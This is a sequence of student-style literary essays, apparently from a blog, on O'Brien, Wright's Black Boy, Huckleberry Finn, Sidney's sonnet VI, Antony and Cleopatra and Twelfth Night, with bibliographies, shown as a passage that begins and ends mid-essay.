Vietnam, they are completely changed by their experiences and are never able to return to their previous way of life.

Vietnam is portrayed, for Chen, “as a corporeal entity…Depicted as a living organism”. The stories that make up the text serve the purpose of re-animating these bodies. In the last chapter the narrator explains how stories can revive life, “in a story I can steal her soul. I can revive, at least briefly that which is absolute and unchanging.” (O’Brien, 1991, p. 229) His stories can make the dead walk: “Linda can smile and sit up.” (O’Brien, 1991, p. 229). In Slaughterhouse Five Vonnegut uses the Tralfamadorians to re-animate the dead, people do not die because everything exists at the same time. Billy Pilgrim’s role in the text and being “a spastic in time” (Vonnegut, 1969, p. 17) is the authors device to show the reader the effects of war and death on combatants. He is exiled in time. Chen’s analysis of The Things They Carried helps the reader to understand that Billy Pilgrim is symbolic of displacement and exile.

Word Count 2150

BibliographyChen T (1998) Unraveling the Deeper Meaning: Exile and the Embodied Poetics of Displacement in Tim O’Brien’s “The Things They Carried” Contemporary Literature, Vol. 39, No. 1. (Spring), pp. 77-98.

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Lake of the Woods” Contemporary Literature, Vol. 44, No. 1. (Spring, 2003), pp. 106 – 131. Naparsteck M (1991) An Interview with Tim O’Brien, Contemporary Literature, Vol. 32, No. 1. (Spring, 1991), pp. 1 – 11. O’Brien T (1991) The Things They Carried, Flamingo:


Studlar G, Desser D, (1988) Never Having to Say You’re Sorry: Rambo’s Rewriting of the Vietnam War Film Quarterly, Vol. 42, No. 1. (Autumn) pp. 9 – 16 Timmerman J J (2000) Tim O’Brien and the Art of the True War Story: “Night March” and “Speaking of Courage” Twentieth Century Literature, Vol. 46, No. 1. (Spring), pp. 100-114. Tompkins J (1988) A Short Course in Post-Structuralism College English, Vol. 50, No. 7. (Nov), pp. 733-747. Vonnegut K (1969) Slaughterhouse Five, Vintage:

London Waugh P (1984) Metafiction, The Theory and Practice of Self-Conscious Fiction, Methuen:


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Black Boy by Richard Wright Chapter One Analysis Wed, 29 Aug 2007 12:24:11 +0000 Ivor Griffiths This essay will critically analyse chapter one of Richard Wright’s Black Boy. It will be argued that Black Boy owes much to Naturalism and develops Wright’s interest in isolation and individualism, issues that were explored in The Man Who Lived Underground (Wright, 1942). Richard Lehan explains Naturalism as deriving “mainly from a biological model” (Lehan 1995 p. 69) that is based on the Darwinian theory of natural selection. Naturalism considers characters objectively, almost scientifically, as being products of their environment. Upton Sinclair’s The Jungle is an example of the genre showing the distorting effects environment has on his characters. Naturalism shows us that characters become more grotesque the further they are removed from nature.

Black Boy is based upon Wright’s experiences growing up in the South. It is set during the height of the Jim Crow Laws. Black Americans faced segregation and violent racism. The reality of segregation became deprivation and lynching. Black Boy, in the tradition of Frederick Douglas and W. E. B. Du Bois, has a purpose: enlightenment rather than entertainment. Black Boy is a protest novel. James Baldwin, Wright’s protégé, in Everybody’s Protest Novel says “Bigger is Uncle Tom’s descendant” (Baldwin, 1949, p 1659), a reference to the protagonist in Wright’s Native Son. His point being that “the avowed intention of the protest novel is to bring greater freedom to the oppressed” but its actual, unintentional, purpose is “to reduce all Americans to the compulsive, bloodless dimensions of a guy named Joe” (Baldwin, 1949, p.1657) – to become white.

Narrated from the perspective of Wright as an adult the text is not strictly autobiographical, the full title is Black Boy A Record of Childhood and Youth. Timothy Dow Adams argues that the version Wright creates of himself in Black Boy uses falsehood as a metaphor for survival. In a letter to W. D. Howells on 14th March 1904 Mark Twain wrote:

“An autobiography is the truest of all books; for while it inevitably consists mainly of extinctions of the truth, shirkings of the truth, partial revealments of the truth, with hardly an instance of plain straight truth, the remorseless truth is there, between the lines, where the author-cat is raking dust upon it which hides from the disinterested spectator neither it nor its smell (though I didn’t use that figure)–the result being that the reader knows the author in spite of his wily diligences.”

Despite the fictional aspects of the text the truth of it is that the South was poison for black people and the only sensible course was escape.

Wright’s first memory is of a four-year-old boy burning down his house, symbolic of the protagonist’s central developing characteristic of self-reliant individualism. Defying white authority, symbolised by his parents on pain of death, he states “… I was chastened whenever I remembered my mother came close to killing me” (Wright 1945 p5). The chapter’s dominant theme concerns the failure of his parents and ends showing his father a broken “my father was a black peasant who had gone to the city seeking life, but who had failed in the city” (Wright, 1945, p.33). Wright’s parents repeatedly fail him. Self sufficiency is a necessity due to his immediate environment. After the beating scene follows a list of imaginative, sensory experiences linked to nature, juxtaposing harsh reality against naturalist imagery is a naturalist technique. It reveals that Wright must interpret life himself: “Each event spoke with cryptic tongue. And the moments of living slowly revealed their coded meanings” (p. 5). Imagination is important for Richard’s understanding of reality; it gradually develops throughout the book to the point where he becomes aware that there is a different way to live, in the North. The reality of Wright’s environment limits his experience to boredom, hunger, fear, and hate so imagination becomes a defence against the effects of reality and assist his education. The importance of education is a recurring theme. The text itself, as a protest novel, informs and educates.

When talking about Memphis Richard asks a number of questions. His mother answers dismissively – he must discover reality for himself. The chapter’s purpose becomes clear: it is an explanation for Wright’s individuality and internalised isolation from family life and the black community.

Parental and familial violence occur frequently in the text; he refers to white violence as the “white threat”. The first chapter portrays violence as controlling, symbolised by parental violence. His father is a shadowy figure who he is frightened of; he is hungry after his father leaves home. Hunger becomes a dominant theme, symbolising deprivation and those environmental factors that have behavioural effect. Ironically, his mother is a cook. Awareness of the inequality and stark binary between white and black, an awareness that develops to a deep-rooted hate as the book progresses, begins here:

“Watching the white folk eat would make my empty stomach churn and I would grow vaguely hungry. Why could I not eat when I was hungry? Why did I always have to wait until others were through? I could not understand why some people had enough food and others did not.” (Wright, 1945, p. 19)

When the minister calls at the house, Wright goes hungry. He must fight for food, when his mother forces him to confront a gang. He overcomes the gang and feels safe to roam the streets of

Memphis only to become an alcoholic.

In the orphanage, he learns to distrust authority, symbolised by Miss Simon. When she tries to win his confidence, he rejects her:

“Distrust had already become a daily part of my being and my memory grew sharp, my senses more impressionable; I began to be aware of myself as a distinct personality striving against others”.

As hungry in the orphanage as when outside he runs away. Associating the orphanage, symbolic of the state, with deprivation: “Ought I go back? No; hunger was back there and fear.” He is aware that he has nothing to run to, “In a confused and vague way I knew that I was doing more running away from than running toward something.” The theme of escape runs through the text. The family constantly seek an escape from events: culminating in Richard’s escape from the South.

His Father “was always a stranger … always somehow alien and remote” (Wright, 1945, p 8). Wright “never laughed in his presence” (Wright, 1945, p 8). Portrayed graphically in the scenes involving the kitten, is the distorting effect of Wright’s environment, its lynching is symbolic of Wright’s strength of will, capacity for extreme violence and the white practice of lynching blacks for minor misdemeanours. Wright’s literal interpretation of his Father’s words is judicial in application and horrific in effect. Symbolising how words, like those abolishing slavery, can create horror, like the Jim Crow laws. Wright asserts his own power but its may have contributed to his father’s departure.

In Notes of a Native Son, James Baldwin explains parental violence in the context of environment and the “poison” of racism and seems to excuse severe chastisement:

“When one slapped one’s child in anger the recoil in the heart reverberated through heaven and became part of the pain of the universe.” (Baldwin, 1955, 1690)

He maintains “tough love” was necessary to prepare one’s child for the unnatural life of coping with white “poison”:

“It was the Lord who knew of the impossibility every parent in that room faced: how to prepare the child for the day when the child would be despised and how to create

In the child – by what means? – a stronger antidote to this poison than one had found for oneself.” (Baldwin, 1955, 1690)

In Nobody Knows My Name (

Baldwin, 1961) he seems to contradict this and disputes the idea that Black African Americans cannot transcend their teleological view of the world. He criticises Wright’s portrayal of black people as victims. In Notes of a Native Son (Baldwin 1955) he portrays himself as aggressive, throwing a water mug at a diner waitress who refuses to serve him – in other words he fights back. Wright portrays himself as a victim of his environment which caused parental rejection (as he sees it). Wright clearly says “How could I have turned out differently?” (Wright, 1945, ?)

In a scene at the end of the chapter, in a time beyond the end of the text, Wright describes a meeting with his father, twenty-five years after he saw him with that “strange woman”:

“…when I tried to talk to him I realized that though ties of blood made us kin, though there was an echo of my voice in his voice, we were forever strangers speaking a different language, living on vastly different planes of reality.” (Wright, 1945, 32)

The last two scenes explain Wright’s isolation within his own community and highlight its significance to the text. Parental rejection is one explanation for Wright’s feelings of difference and developing desire to escape the South. He rejects his father at the end of the chapter, telling how he succeeded where his father failed. His opinion of his father is the justification for his escape:

“…my father was a black peasant who had gone to the city seeking life, but who had failed in the city; a black peasant whose life had been hopelessly snarled in the city, who had at last fled the city – that same city which had lifted me in its burning arms borne me toward alien and undreamed-of shores of knowing.” (Wright, 1945, p.33)

Portrayed as a victim of white landowners, his father is unable to learn the meaning of loyalty, sentiment, tradition, joy or despair; he is a product of his environment, a metaphor for the shortcomings of blacks in the South, victims of a racist and segregationist environment. His father is “a creature of the earth” (Wright, 1945, p. 33).

The first chapter sets the scene for Wright’s isolation from others in his environment. He cannot rely on parents or wider family. His brother rarely figures in his life. This chapter symbolises Wright’s future resistance to the white South’s attempt to impose an identity upon him. This is symbolised in his refusal to accept the authority of his parents, family and wider community. This resistance features throughout the text. The remainder of the novel completes the story outlined in this chapter: charting the assertion of Wright’s own sense of self, individuality and ultimate escape from the distorting environment of the South.

Word Count 1500


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Mark Twain: Realism and Huckleberry Finn Wed, 29 Aug 2007 12:17:47 +0000 Ivor Griffiths Is Mark Twain a Realist, nothing more and nothing less? As well as considering the meaning of Realism in a literary context this essay will critically examine the issues raised by the question with an analysis of Chapter XXXI, in which Jim is “stolen” and Huck decides that he will help Jim though he believes he will go to hell for doing so. In so doing it will be seen that the assertion is too narrow.

One view is that Realism is not attainable: it is simply impossible to represent reality within a literary framework, K. Dauber (1999, p. 386), considering Realism, argues that we can only get near to it in the imagination of the reader. The use of metaphors and similes assists us to create, within our own imagination, a landscape within which plausible events occur as part of an understandable and plausible plot. Dauber, strictly speaking, is correct, however Realist texts do exist, in considering them we need a guide as to what it is that makes them Realist.

A descriptive term like Realism is useful to the reader. D. Pizer considers that “descriptive terms” such as “romanticism, realism and classicism are valuable and necessary” (1961, pp.263 – 269). His starting point is George Becker’s definition. Becker based his definition upon readings of European and American fiction since 1870; dividing realism into three categories: the realistic mode, realism of subject matter, and philosophical realism, Pizer considers “the realistic mode” based on three criteria: “Verisimilitude of detail derived from observation and documentation” (1949, pp.184 – 197). The use of various dialects (discussed in the preface), detailed

descriptions of the river and nature are Realist observations. The style fits the first part of this definition.

Secondly is “reliance upon the representative rather than the exceptional in the plot, setting, and character” (1949, pp.184 – 197). A slave’s escape from captivity and recapture is plausible and thus Realist.

Thirdly is “an objective….rather than a subjective or idealistic view of human nature and experience” (1949, pp.184 – 197). Observations and descriptions of slavery, life in the South and on the river are objective. In chapter XXXI, Huck must decide between a moral obligation to contact Miss Watson and his debt to Jim for his help on their journey down river. The text of Huckleberry Finn up to, and including, chapter XXXI conforms to Becker’s “realist mode” definition. On this basis, Twain is a Realist.

However, categorisations are just guides as to what we may expect from a text or writer when categorised as Realist, Romanticist or Classicist. Twain explains his style in the preface. From this preface, Twain clearly considered it a Realist book. It is

clear and generally agreed amongst critics, that up to and including chapter XXXI, Huckleberry Finn is a realist text. Given the difficulties facing a slave on the run, within the contemporary context of its setting, it is plausible that Jim would face capture and be either lynched, mutilated or at least beaten if caught. However, one cannot consider Twain was “nothing more and nothing less than a Realist” in the

context of this chapter alone. Critics, in the first half of the twentieth century, focused on the ending or “evasion” for analysis. Since the mid Twentieth Century, attention has focused on issues of race, gender and sexuality. Many view the ending as disappointing: described it as an anti climax, even “burlesque” (De Voto, 1932). Tom Sawyer’s scheming to set free an already free slave is a betrayal and even “whimsicality” (T. S. Eliot (although he also argues that this is the only correct ending)). The style of the ending is different from the preceding text, it is more slapstick and humorous.

Ernest Hemingway (1935) claimed, “All modern American literature comes from Huckleberry Finn”, but continued: “if you read it you must stop where the nigger Jim is stolen from the boys. This is the real end. The rest is cheating”. De Voto (1932) considered the last eleven chapters fell “far below the accomplishment of what had gone before…this extemporized burlesque was a defacement of his purer work” (Cited by Hill, 1991, p 314). Tom Sawyer describes it, an “evasion”. It certainly detracts from the power of chapter XXXI: Huck’s rejection of Southern values, its belief in slavery and the superiority of whites. The “evasion” is the missed opportunity to emphasise this rejection by descending in to whimsicality and burlesque. The problem with Hemingway’s advice is that the book does not end at Chapter XXXI. Full analysis requires a complete reading.

The whole thrust of the ending, from when Tom returns to centre stage is that of comedy and farce, it is as though Huck is acquiescing in Tom Sawyers pranks and wild schemes. L. Trilling (1948) argues that Huck is simply deferring to Tom by

giving him “centre stage”. Eliot agrees, but then argues that it is right Huck does give way to Tom. The style of the book comes from Huck and the river provides form: we understand the river by seeing it through Huck, who is himself also the spirit of the river and like a river, Huckleberry Finn has no beginning or end (cited by Graff and Phelan, 1995, pp 286 – 290). Therefore, Huck, logically, has no beginning or end: as such he “can only disappear” in a “cloud of whimsicalities”. For Eliot this is the only way that the book can end. However, Eliot and Trilling rely on the fact that the River, Huck and Jim are symbolic, that they are allegorical. This suggests that the later chapters of the book are Romantic in style. The entire book must be considered in the context of the ending (however much it may disappoint), it is more a Romance; and to say that Twain is “nothing more and nothing less than a Realist” is thus incorrect.

However, what is Romanticism? In the United States Romanticism enjoyed philosophic expression within the movement known as Transcendentalism, in the texts of Emerson and Thoreau. Symbolic novels of Nathaniel Hawthorne and Herman Melville emphasized concern with Transcendent reality. Nathaniel Hawthorne in the preface to The Scarlet Letter, The Custom House, writes, “If a man, sitting all alone, cannot dream strange things, and make them look like truth, he need never try to write romances.” Romance offers a symbolic view of the world and, in that context, a historical representation of current issues is crucial (M. Kinkead-Weekes, 1982, p.74). Symbolism and allegory are fundamental to a Romanticist text: “astonishing events may occur, and these are likely to have a symbolic or ideological, rather than a realistic, plausibility” R. Chase (1962, p13).

Eliot’s interpretation, when considered in this context, asserts that Twain was not in fact writing as a Realist exclusively or, arguably, at all.

Hemingway does receive support in his argument that the ending “is cheating”. From Leo Marx, in his 1953 article: “Mr. Eliot, Mr. Trilling, and Huckleberry Finn”. He agrees that the ending does not fall within the realist tradition and offends plausibility in several ways: Miss Watson would not free Jim, the interjection of humour is “out of keeping” with the rest of the book: Huck’s easy transformation from bravely assisting an escaped slave and agonising over this moral position maturely, to clown; is not plausible. To assist in humiliating Jim, a slave transformed to “freedom fighter”, when known, by Tom at least, that he is free already (however implausible that may be) is at odds with chapter XXXI and all preceding chapters.

The ending reflects a conflict within Twain represented by Huck and Tom, he wanted to criticise Southern society but also to gain its approval. He does this by “freeing” an already free slave, so of the two white heroes, neither transgresses the law, nor break any moral codes of the South, and Huck is saved from going to Hell. This marks a massive retreat from the powerful, and arguably most dramatic, scene in the text: the decision of Huck to reject that society’s values and go to Hell, rather than betray his friend Jim. Marx may have been critical of the ending of the book in terms of content, but, in his 1956 article, which examines the literary style of Twain in Huckleberry Finn, he considers use of language and the “book’s excellence”. He

concludes the article by eulogising the text as one “which manages to suggest the lovely possibilities of life in

America without neglecting its terrors”. The two articles when read together are a powerful argument in favour of categorizing Huckleberry Finn as a Romance Twain a Romanticist rather than “Nothing more and nothing less than a Realist.”

J. M. Cox (1966) challenges Marx’s assessment: postulating that it is a story about a boy who has found himself, through force of circumstance in a difficult position. The reappearance of Tom in the story is a relief to Huck. By deferring to Tom at this stage, Huck is acting within character as developed earlier in the text: happy to be free of the responsibilities thrust upon him. However, this analysis disregards the moral development of Huck in the text up to and including Chapter XXXI and the maturity of his moral deliberations.

Marx, and others, are attempting to impose a political agenda that is not evident from the text; succumbing to the fashion that it is necessary for a hero to have an agenda. Huckleberry Finn is a child’s book. To impose sub texts involving subtle critiques of racial, gender, sexual and political issues misses the point entirely and is an over intellectualisation: blatantly ignoring Twain’s instructions at the beginning of the book (R. Hill, 1991).

If following Hemingway’s advice then Twain is no more and no less than a realist, but is not to read the book in its entirety: Chapter XXXI is not the end of the text.

Twain has succeeded in creating a work of fiction that engenders precisely the kind of debate that he ironically dissuades the reader from indulging in: a literary masterpiece that stubbornly refuses to fit neatly into any categorization at all. To say, “Twain is a Realist nothing more and nothing less” is thus inaccurate.

Word Count: 1609


George Becker, (June 1949), pp. 184 – 197, “Realism: An Essay in Definition”, in Modern Language Quarterly

Richard Chase, (1957), The American Novel and Its Tradition, Anchor Books p. 13

James Cox, “Attacks on the Ending and Twain’s Attack on Conscience”, in Mark Twain: The fate of Humor, University of Missouri Press (1966); excerpted in Mark Twain, Adventures of Huckleberry Finn, a Case Study in Critical Controversy, Edited by Gerald Graff and James Phelan (1995) St. Martins Press pp.305 – 312

Kenneth Dauber, (Summer 1999), “Realistically Speaking: Authorship, in late 19th Century and Beyond”, in American Literary History, Vol. 11, No.2, pp 378-390

T. S. Eliot, “The Boy and the River: Without Beginning or End” reproduced in Mark Twain, Adventures of Huckleberry Finn, a Case Study in Critical Controversy, Edited by Gerald Graff and James Phelan (1995) St. Martins Press pp. 296 – 290

Ernest Hemingway, 1935, Green Hills of


Gerald Graff and James Phelan Mark Twain, Adventures of Huckleberry Finn, a Case Study in Critical Controversy, (1995) St. Martins Press

Richard Hill, (1991), “Overreaching: Critical Agenda and the Ending of Adventures of Huckleberry Finn”, Texas Studies in Literature and Language (Winter 1991): reproduced in Mark Twain, Adventures of Huckleberry Finn, a Case Study in Critical Controversy, Edited by Gerald Graff and James Phelan (1995) St. Martins Press pp. 312 – 334

Mark Kinkead-Weekes, (1982), “The Letter, the Picture, and the Mirror:

Hawthorne’s Framing of The Scarlet Letter Nathaniel Hawthorne New Critical Essays, Vision Press Limited, p. 74

Leo Marx, (1953), “Mr. Eliot, Mr. Trilling, and Huckleberry Finn” The American Scholar reproduced in Mark Twain, Adventures of Huckleberry Finn, a Case Study in Critical Controversy, Edited by Gerald Graff and James Phelan (1995) St. Martins Press pp. 290 – 305

Leo Marx, (1956), “The Pilot and the Passenger: Landscape Conventions and the Style of Huckleberry Finn”, in American Literature, Vol. 28, No. 2, (May, 1956) pp. 129 -146

Robert Ornstein, (1959), “The Ending of Huckleberry Finn”, in Modern Language Notes, Vol. 74, No. 8 (Dec., 1959), pp. 698 – 702

Donald Pizer, (1961), “Late Nineteenth Century American Realism: An Essay in Definition”, in Nineteenth Century American Fiction, Vol. 16, No.3 (Dec 1961), pp 263-69

E. Arthur Robinson, (1960), “The Two “Voices” in Huckleberry Finn”, in Modern Language Notes, Vol. 75, No. 3. (Mar. 1960), pp. 204 – 208

Lionel Trilling, (1948), in Introduction to Adventures of Huckleberry Finn, 1948 Rinehart edition, excerpted in Mark Twain, Adventures of Huckleberry Finn, a Case Study in Critical Controversy, Edited by Gerald Graff and James Phelan (1995) St. Martins Press pp. 284 – 290

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Astrophel & Stella VI: A Sonnet Explicated Wed, 29 Aug 2007 12:15:14 +0000 Ivor Griffiths Titles are important when considering any text but are of particular importance when considering poetry. Stella is from the Latin word for star and Astrophel is derived from two Greek words: astro which means star and phil which means lover. Astrophel and Stella VI is part of a sequence of sonnets. A typical sonnet sequence has many conventions. Opening and closing sonnets will usually inform the remainder of the sequence. These sonnets tell the story of a developing relationship between two lovers, the sonnets focus on changing emotions of the speaker. The sonnet is fourteen lines long, there are two basic forms eight lines followed by six with a

volta on line nine or, as in the instant case, four quatrains followed by a couplet that contains the twist.

The first sonnet in the sequence describes how the poet is struggling to find words to describe his love, how he cannot study the writing of others to find inspiration in the same way that Shakespeare did. In sonnet VI he returns to this theme and describes why he cannot copy other authors and poets. Iambic hexameter is utilised throughout the sonnet

Sidney was particular in his use of metrics, but the use of rhyme is not conventional. There are no polysyllabic rhymes and each line is end-stopped. The meter and unconventional rhyme scheme emphasize the narrator’s meaning that Astrophel is a unique poet who follows no formal patterns or rules of convention. The language is rich, and full of imagery, held together by the accurate use of the meter. . In lines 1 to 11 he effectively provides a list of various conventions traditionally used when writing sonnets.

In some sonnets the message is that love is a force which can overpower us and will make us suffer. The use of oxymorons (a term that is self-contradictory) is almost obligatory, he points this out vividly, and utilises the convention, when he refers to: “living deaths, dear wounds, fair storms and freezing fires”. The use mythology within sonnets of the period is also discussed in the poem and again the convention is adopted when

Sidney refers to the various disguises used by Jove or Zeus to get to the women he wanted:

“Someone his song in Jove, and Jove’s strange tales, attires, Broidered with bulls and swans, powdered with golden rain;” He refers to how some poets of the time and classical poets would use references to a pastoral tradition, in which ladies and gentlemen masquerade as shepherds:“Another, humbler, wit to shepherd’s pipe retires, Yet hiding royal blood full oft in rural vein”Incorporating the device of the “conceit” or comparisons to describe the act of writing the sonnets is utilised and described when he writes how:“…tears pour out his ink, and sighs breathe out his words:” The twist in the sonnet is contained in the couplet at the end of the sonnet when he describes how he can say what he feels and how he loves as well as any of them without the use of such rigid formulae when he says that all he to do is to softly say in a trembling voice “that I do Stella love”. Structurally, in sonnet VI of Astrophel and Stella, the lines are full of images of opposites, and contrasts such as pastoral imagery being next to images of violence and pain. Astrophel, the narrator, argues that poets, with all of their technical rules for the use of language in a sonnet, are restricted and repressed in the manner in which they are permitted to express themselves because of this strict adherence to a body of rules. Whilst he amply demonstrates his skills in the use of these conventions he is nonetheless being critical of them and essentially saying that he can be poetic with the best of them, but his love is so powerful that words and expressions cannot describe adequately his love for Stella; he is only able to feel, sense and think about it. In the second poem the title provides the reader with a clue that the lover to be discussed is untouchable or unreachable in some way. Shirley strictly adheres to the convention of iambic pentameter in the form of the poem and utilises rhyme throughout it. In the same way that Astrophel, as the narrator in Astrophel and Stella VI is discussing and describing the love he has for a woman, so in this piece the narrator is describing his love for a woman. The difference is that he woman does not appear to exist. The theme is that of the unknown or unknowable mistress. Given the uniqueness of the topic is is a challenging subject for the renaissance poet. The poem opens with moving lines that describe the frustration of the narrator in his desire to love and to speak to his lover. It provides an image of pent up frustration. The poem goes on to describe how much he would be able to love this idealized beauty. (Richmond H. M. 1959). The poem however, in dealing with a non existent lover may be described as dealing with the frustrating evanescence of some idealized sexual fantasy; love is seen as being distinct from a corporeal body and able to exist independently. The use of references to the senses which are themselves intangible lends weight to this image. By its nature, because the poem is dealing in what would be a paradigm of feminine beauty and grace, but which does not exist, it dwells more upon the egocentric, introspective thought processes and emotions of the writer, a man, rather than those of the subject matter, a woman. Utilising this particular lyrical renaissance device and in adhering to strict conventions of rhyme and meter and structure the narrator is reducing women in general to the status of desirable object that will be able to satisfy the sexual frustration of a lonely man. The view that women were mere chattels was reinforced with legal precedent at the time of writing. (Norbrook D., 1984). The strict adherence to rules of writing by Shirley would strongly suggest his belief in that particular rule set. In contrast

Sidney is challenging the standardised format, in his discussion of love, which would tend to suggest that he is challenging the status quo. He uses poetic structure as metaphors for the way in which women must abide by man made rules and is saying that even without these rules, which by implication he disagrees with, he is simply in love.


Richmond H. M. 1959, The Intangible Mistress, Modern Philology, Vol. 56, No. 4. pp. 217-223.Corns T., ed., 1993, The Cambridge Companion to English Poetry, Donne to Marvel, Cambridge,


University Press.

Norbrook D., 1984, Poetry and Politics in the English Renaissance, Croom Helm.Rivers I., 1994, Classical and Christian Ideas in English Renaissance Poetry,

London, Routledge.Wilcox H. ed., Women and Literature in Britain 1500 – 1700, Cambridge,


University Press

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Anthony and Cleopatra is a Tragedy? Scene I Analysis Wed, 29 Aug 2007 12:12:53 +0000 Ivor Griffiths This essay will analyse the way in which Act I scene I contributes to the effectiveness of

Antony and Cleopatra as a Tragedy.

In the play we see from the opening scene that the great soldier Antony has been caught between two godheads: on the one hand his duty, that is, his manly responsibilities as one of the triumvirs of

Rome; on the other his pleasure and all consuming infatuation with the Queen of Egypt. The basic question and premise of the play is posed from the opening lines, when Philo is discussing the infatuation that

Antony has for Cleopatra, with Demetrius, he is criticising the great soldier for becoming so infatuated and neglecting his duties. He has been rendered a “strumpets fool”, the basic question then posed by the play is will the strumpet win out or will Antony choose


The main purpose of the opening scene is to make the point that we are picking up the story of

Antony’s fatal love for Cleopatara half-way through. He has already embarked on the cycle of self destruction that marks out a tragedy before the story begins. To that extent the contribution Philo’s speech, in Act one scene one, makes is to tell the audience that we have a great soldier who has fallen for a beautiful woman. However, this woman is a dark character and temptress who is corrupting the hero’s manliness. This in turn is signalling the tragedy that is to follow.

The play was originally produced without act and scene divisions; however, the play divides logically into five acts. The five basic stages of a tragedy can be divided up as follows:

  1. The anticipation stage, this involves the hero’s feelings of incompleteness being satisfied by an object of desire (usually a woman).
  2. The dream stage, in which the hero becomes committed to a course of action which initially goes well; almost as if the hero is able to deal with the two godheads he is been caught between.
  3. The frustration stage is when things begin to go wrong for the hero; in attempting to reconcile the demands of the two godheads he may commit further foolish acts, usually dark deeds involving killing people.
  4. The nightmare stage sees the hero losing control completely, he becomes increasingly desperate and despairing, and one or both of the godheads will close in on him, isolating him further.
  5. The destruction or death wish stage will see the hero either killed by the opposing forces or, as in the case of Antony and Cleopatra, commit suicide. (Booker, C., 2004)

In terms of the complete five-stage cycle of tragedy the play picks up the plot at the frustration stage. The first two acts show Antony making a final effort to fulfil his manly duties by returning to

Rome to deal with Pompey. He even marries Octavius’s sister to reinforce his efforts to regain his Roman identity. He fails of course, the lure of Cleopatra being to strong for

Antony to resist. (

Baldwin T. W., 1963)

Scene one of the first act is providing back story to the plot. It is providing the audience with background information. A great soldier has been rendered “womanish” by Cleopatra. We are informed of the character of this woman in the opening speech. Furthermore his heart which once would “burst the buckles on his breast” is now nothing more than “the bellows and the fan to cool a gypsy’s lust”. We are immediately informed that

Antony is going to suffer because of his involvement with this dark character of Cleopatra. Female sexual desire is portrayed as being so threatening to a man and so powerful that even a great soldier like Antony is reduced to a fool by it, he is portrayed as having become womanly, a negative state in the play.

As the scene proceeds the two main characters are discussing their love, the opening line from Cleopatra “If it be love indeed, tell me how much”, in other words, prove it. This informs the audience that we are now at the frustration stage.

Antony will now be forced to choose between the two godheads. This is further reinforced when they are interrupted by an attendant advising them that there is news from Rome, Antony cannot be bothered to deal with it, he is absorbed by Cleopatra.: “grates me, the sum”, he is offended and wants the news to be brief. Cleopatra then taunts him by belittling his sense of duty to

Rome as if it is an alternative only for his love for her. The audience are again being told in the dialogue that Antony is dealing with a woman who is going to make him choose between her and


Antony reassures Cleopatra by stating:

“let Rome in

Tiber melt, and the wide arch

Of the rang’d empire fall! Here is my space…..”

This is a clear indication that Antony is not necessarily going to choose

Rome. He then discusses with Cleopatra what they are going to do that night, a clear indication that it will be erotic as it was the previous night: “Come, my queen, last night you did desire it.” Thus the scene is set for the remainder of the tragedy. It is clear that

Antony has become involved with a woman that will cause his downfall. This is achieved in this scene by way of back story. Cleopatra signals her jealousy of Rome when she questions

Antony’s love. We are already aware of the fact that Demetrius and Philo view the relationship negatively from

Antony’s point of view as he has become more womanish. Womanliness is portrayed from the first scene of the play as negative and this reinforced later on in the play when Cleopatra is referred to as a whore; Caesar informs Octavia of the whereabouts of her husband by stating:

”Cleopatra hath nodded him to her.

He hath given his empire up to a whore”.

Antony’s inability to resist the charms, and his love, of a dark temptress, in the guise of Cleopatra, is the essence of the tragedy that unfolds. The unwillingness of

Rome to allow him to succumb to his desires is the other godhead that he is torn between. Scene I of Act I, contributes to the play’s effectiveness as a tragedy by telling the audience immediately that a once great warrior has been virtually emasculated by the affections of a lustful whore (Callaghan D., 2001); furthermore that he is ignoring his duty to

Rome and because of this there will be conflict and tension. The scene allows the play to conform to the five classic stages of tragedy with the use of back story to provide details of the first two stages. This is repeated in the play, for example, when Enobarbus recalls the time when Antony first saw the temptress Cleopatra when he arrived in

Egypt, describing the beauty and desirability of Cleopatra, reinforcing the theme of the play that female sexual desire is potentially a destructive force for men.


Callaghan D., 2001, A Feminist Companion to Shakespeare, Massachusetts, Blackwell Publishers Ltd.

Booker C., 2004, The Seven Basic Plots, Why we tell stories,

London, Continuum

Ridley M. R., 1954, The Arden Shakespeare Antony and Cleopatra, Ninth Edition,

London, Metheun & Co. Ltd.

Barton A., 1994, Essays Mainly Shakespearean, Cambridge,


University Press

Andrews, J F., ed., 1993, William Shakespeare:

Antony and Cleopatra.

London, J. M. Dent,

Baldwin, T. W., 1963, Shakespeare’s Five–Act Structure, Urbana, Illinois,

University of

Illinois Press.

Charney, M., 1963, Shakespeare’s Roman Plays: The Function of Imagery in
the Drama
. Cambridge, USA,


University Press.

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Comedy in Twelfth Night Wed, 29 Aug 2007 12:09:54 +0000 Ivor Griffiths

Shakespearean comedy is concerned with desire and its satisfaction; characters yearn for something, this leads to frustration but eventually satisfaction achieved and a happy conclusion. Twelfth Night, and Shakespeare’s other comedies, are concerned with love, desire, and overcoming barriers to the fulfilment of these desires and end in physical and emotional union, usually marriage. Shakespeare’s comedies are romantic. They have a certain mood and set of expectations; dealing with society rather than the individual, there does not tend to be a dominant character or Hero/Heroine. The theme is renewal; taken unexpectedly from ordinary life characters are placed in an unusual setting and allowed to escape from the repression within the society that is thwarting, for whatever reason, their desire. Twelfth Night is no exception; but there is an “emphasis on the pains rather than the pleasures of love” (Leggatt, 1974).

Northrop Frye identified three stages of a Shakespearean comedy: the play establishes a rigid rule-bound arbitrary society; this society descends into confusion and suffers a lack of identity. In the third stage, it is reborn as more liberal, issues that caused the loss of identity are welcomed. Marriage typically holds together this “new” society. (Frye, 1983).

The aesthetic philosopher Susan Langer analyses comedy, humour, and laughter. (Langer, 1953, pp. 338-341) “Laughter is physical, it occurs when one is tickled”. Humour merely “one of the causes of laughter” and “humor has its home in comic drama. Laughter springs from its very structure” and

“Humor is not the essence of comedy, but only one of its most useful and natural elements”. (Langer, 1953, p. 346)

Shakespearean comedy has patterns related to the renewal and rhythms of human life. As Langer says, the human race regenerates generation by generation in a rhythm of renewal, comedy celebrates this. Comedy is concerned with desire and fulfilment, tragedy with decline and death. (Langer, 1953)

The plots of Shakespeare’s comedies concern overcoming obstacles to love. In Twelfth Night characters fall in love quickly, Viola falling in love with Orsino at first sight and Olivia with Cesario/Viola. Obstacles are external or internal. External obstacles are usually a disapproving Patriarch, a powerful rival or a law. In A Midsummer Nights Dream, all are present. The plot involves escape from the “old” society that is preventing love: the characters leave Athens and go into the wood outside

Athens. In As You Like It the characters leave for the

